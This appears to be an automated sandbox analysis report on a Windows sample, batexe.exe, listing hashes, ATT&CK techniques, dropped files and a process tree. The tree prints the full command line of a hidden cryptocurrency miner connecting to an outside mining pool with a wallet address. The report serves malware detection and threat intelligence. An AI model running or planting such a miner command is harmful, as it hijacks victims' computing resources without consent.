73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 20:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3976	b2e.exe
5408	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe
5408	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1792-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 3976	1792	batexe.exe	85
PID 1792 wrote to memory of 3976	1792	batexe.exe	85
PID 1792 wrote to memory of 3976	1792	batexe.exe	85
PID 3976 wrote to memory of 5264	3976	b2e.exe	86
PID 3976 wrote to memory of 5264	3976	b2e.exe	86
PID 3976 wrote to memory of 5264	3976	b2e.exe	86
PID 5264 wrote to memory of 5408	5264	cmd.exe	89
PID 5264 wrote to memory of 5408	5264	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Users\Admin\AppData\Local\Temp\29BB.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\29BB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\29BB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\397A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5264
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\29BB.tmp\b2e.exe

Filesize
9.4MB

MD5
59834aa83be9c8912ad22c30fa549072

SHA1
3d8477a999b23c43d140818053a35fcf3fac993e

SHA256
8203912443c5f5c899e14ef4d49a758c3305023df986d7c0c82af35516571a50

SHA512
568d49f42bddb91eeed46490821d246e53766885f9f9912f987ba513ab3588cc00e7ee83a02607931a3ec4ca87dbe3a571cbc903568b0965677d530221f93531

Download Submit
C:\Users\Admin\AppData\Local\Temp\29BB.tmp\b2e.exe

Filesize
1.6MB

MD5
ab3c6229044ba919e01bf2f5a57955d1

SHA1
f19eb5c412ec0da0fb93f393dd7a3fef0e2d1d11

SHA256
e9135929ab26a3a63d59894b1a80539f7a17dde2dc5ebe27dbe89dc42ef7c147

SHA512
2ccda13bb83c49a10d229aa21b89c9a06304e70cff8887ec4be461c6f2c957c72d90363a5986d7671b81af2e531c38312465cb9e4d105a408c10cf3bcda0146b

Download Submit
C:\Users\Admin\AppData\Local\Temp\29BB.tmp\b2e.exe

Filesize
2.9MB

MD5
eeb6a5f34b2b32bd74465d160ddc3dce

SHA1
4b302d8a80697933b7672f778222afbf9c89a51e

SHA256
57b43eef41c1fc2ff4cc6ea3d0be3e88104a3f46bd02fc15d601b93af4f56262

SHA512
a4b1f88d2c0a7183ae3eca389806e2faabd1253e36d7d25a437691e45aebb47f0845bef52f4c986683114acbe504ae3d94e7ea06a3a6458dd880a9607bf9e0ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\397A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
640KB

MD5
0f6af9e19fa927d88313e98d54420920

SHA1
0aff9c72864126107d6c630aafb9ed6512042afd

SHA256
71661d7077b93e2a5e53d7093e532bec1b66d34e3929bcb314eab7f431b84734

SHA512
bba078e2f4eb5ca45956657356f7419767a81679f34d9991bf28a1d44e412340d1002517f74a15583ffe20b32f1f25b60c47f4581100552dc1e651b3f88547be

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
847KB

MD5
0ae9c0cffa07b4c6e91779bbef0af1f7

SHA1
d4362e7c6ba7836643c9a727f5e3d26c96eedd55

SHA256
bf87e0cdb3ea4fda54e776ea2826c8f0247db23f18b3c303e920d7a51abdbd4f

SHA512
5980cdf3a200c941c77fe8fe2eadf95bcbe54903d6b30a317df91f84657c912a33c9378779bd672eb60da1ee9c2b1d7724058c9ce0eea752f19037576c5ffac5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
742KB

MD5
e3c172a04861c1fe335aabf47c656ba8

SHA1
db951cd8818206371544430caab8355008b3cd8b

SHA256
7a57606f7cd4e489337f47eb98894b750aeaf25147215091ad9c446b9a29a865

SHA512
a94960cc91a96f2d8813d3a45bae3b91005f712f8d6f750c3d78d6fb95d2b790be981a4a7308e3e3366b9954080bf4dc172cdcc6425695c9dd0ae95d3b1ae08a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
648KB

MD5
74294c42cb2896b9107edf50be1d8202

SHA1
5f4c243bc20a346a6b554f4a5760fd832798a9e8

SHA256
59c3cff70242fe82b1d238b43e6bb3d5775e8ff567217f714524b30d9f50d3be

SHA512
d9ad3897c8c3019687d51afcc7407047ca443e8fd0c584defe634390fe1b854d908fc9ebc87d2f1df06942ff8cf8112b7d9d14b36e50c507ecd9a4c42e395114

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
507KB

MD5
e455f8a645a33eedd15b13f79b8ede7e

SHA1
43d50d151b1a532557f17f327f386fbdeee72f93

SHA256
618c4ac5285b616b5f89edc3182219fa687e38b8dfc406cf0e1040e9d016bad0

SHA512
58fde5ad3f107169715596d986a255512eba1ad728d99ef7019ffb418d36312a20621a543791b97c8aee571f8e089da51b9bbb00e0786e2a5c7059a8393a08a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
869KB

MD5
8576700f8629349423a239639c4f919f

SHA1
10c86a02369c5c4860cf712cc5f1014c6d577317

SHA256
2293ea9677450555750c1fabb86acb252340c8952ba7eafcaeaa2c13c862065b

SHA512
80c649e998ac31b388496532a74b67dfe70acd97ccdf2312f115a19f1da2ff35279a47de14e5081408a67a0674a4583be5f0f26417460dcb4902e5b74f0cfc36

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
394KB

MD5
047a08b243fee4db536223d6cf710928

SHA1
9d85eda4c53ae235a1ac2e039625cd770773cc3d

SHA256
720baf4c57e58d46a8e0af8d23cfc57cc6b757995079d8f76ff48a5bccd3efdc

SHA512
3da6d58a1e65f752e80d2368f065caeaf4df580f760b31a8dcd74071f52f2f6107ef82e1e9306932a9a4abea9f7cedbfcc27eb57b3fae17df120940b81433e2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
447KB

MD5
c617ebea574cb984a608e41351812f1a

SHA1
997ba79d0f0ae4748d8d19912adabceba137cdb8

SHA256
e64abb615cf63546d8706f549d8a319e9e7aedde94f55d458b67efa0eec9d1af

SHA512
37e979bc05fb4e7a406c02a400fad72c8a5acf5113aab22e90052ffdee9cb5288fff8e521a323955cec8a3d04e1f3764012ef186eb5c3cc3c750c8ca55f401d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
861KB

MD5
fc6994da083832153fb0fd9c5fd0a64e

SHA1
36f57ae1fa259963629be7fdfa95a091bf3df23c

SHA256
52708eccaee0b5ff556b60ccaf9b2a7044cf8e681aebe56209634bb92d19d300

SHA512
c3dad928443c68604d94cfe3e6b4c9518bd34505c9383461210cc7b0432ded8ee71b64f9f09cb53c48d42213ce2af3fe707537e499325338690950072e18763d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
978KB

MD5
9c3c4484b4221c7284597a31c56a69ad

SHA1
b15350d3bf6992df72d43fc51094d6a1e755bc3e

SHA256
4375b75b54f9b2f3a01352f99384eaaf659bf499351770aeaa8b90b07617f3a1

SHA512
c4134a978de48447000858ae1053950c97bbdd21d5d49e2e5f6618d14ebdd81016a3577cd3137c6de9ce834a52f3af502ba8182a9f06d26c90a5ac597bd64aeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
241KB

MD5
b64bad775d89f253648ded34bbea8e34

SHA1
03da2181a48abb65b5d7c62b735e47ee3452d8d1

SHA256
47f2cb4c4582b98b7a8b4588663fa5267925a8c99de19702217e2faa96d13c6b

SHA512
3c827b0e221c6f6b1cecfdb12f008667917a635efa7270057e89a38ac923e7bdcf1ee4842984fc6d9b487551b19f58f05fbaf89bc2f40af58e1708cac682a493

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
293KB

MD5
4ad50a132cf88e5bbb0d5cef9cefe963

SHA1
8437e583552764ca37e952ca4ea85d37b97ece2a

SHA256
da55a9e53ae4466fc99e80470c2c21f52ba6e0d5ee9434408470f0543cb02890

SHA512
4686033057d9e4a466f1c3d6418b309ba8cd0a4ebc5d2946cb65aaa64e3fc61e3e2e36346eb14de131d008b804c392f6d4e91fdfe832d326473aeba0480cf1e2

Download Submit
memory/1792-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3976-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3976-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5408-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/5408-47-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5408-48-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5408-42-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/5408-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5408-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5408-106-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download